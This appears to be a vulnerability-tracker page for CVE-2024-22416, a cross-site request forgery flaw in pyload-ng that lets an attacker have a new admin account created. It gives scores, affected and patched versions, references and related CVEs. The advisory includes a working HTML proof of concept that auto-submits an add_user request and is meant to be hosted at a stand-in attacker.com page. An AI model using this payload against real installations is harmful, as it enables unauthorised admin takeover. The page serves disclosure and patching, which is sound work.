CVE-2024-22416Critical· 9.6▾ AbyssalPoC availableCross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
Depth score65/ 100 · Elevated
impact 52.8 · likelihood 0.2 · exploitation 12
Proof of concept
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Published
Jan 19, 2024
Updated
Sep 10, 2026
CVSS
9.6
Vendor
pyload-ng
Product
pyload-ng
CWE
—
Depth score
65 · Elevated
EPSS
0.95% · p59
Platforms
—
Source
OSV
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Exploit availability
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
- GitHub PoCs
- 1 public repository
EPSS history
Exploit-prediction probability, daily snapshots since Sep 12.
Timeline
Disclosure to exploitation, from the record and what we observed since indexing it.
- Published
Disclosed via OSV
- Record revised
Last analysed / modified upstream
- EPSS first tracked
0.9%
- Public exploit observed
1 GitHub repo (last check)
Affected
- pyload-ng < 0.5.0b3.dev78
Patched in
- pyload-ng 0.5.0b3.dev78
Full technical detail▾
Overview
Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
Affected packages
pyload-ng < 0.5.0b3.dev78
Remediation
Upgrade to a patched release:
pyload-ng 0.5.0b3.dev78
References
- https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
- https://nvd.nist.gov/vuln/detail/CVE-2024-22416
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
- https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
- https://github.com/pyload/pyload
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml
Related vulnerabilities
Connected by shared product, vendor, weakness, or advisory.
CVE-2024-21644High· 7.5pyload Unauthenticated Flask Configuration Leakage vulnerability
same productshared advisory#osvCVE-2024-21645Medium· 5.3pyload Log Injection vulnerability
same productshared advisory#osvCVE-2025-54802Critical· 9.8pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
same productshared advisory#osvCVE-2026-45306Medium· 6.5pyLoad Has Incomplete Fix for CVE-2026-33509 -storage_folder Bypass via Session Directory in pyLoad
same productshared advisory#osvCVE-2026-35463High· 8.8pyLoad: Improper Neutralization of Special Elements used in an OS Command
same productshared advisory#osvCVE-2026-40071Medium· 5.4pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
same productshared advisory#osv
#osv#pip#exploit-available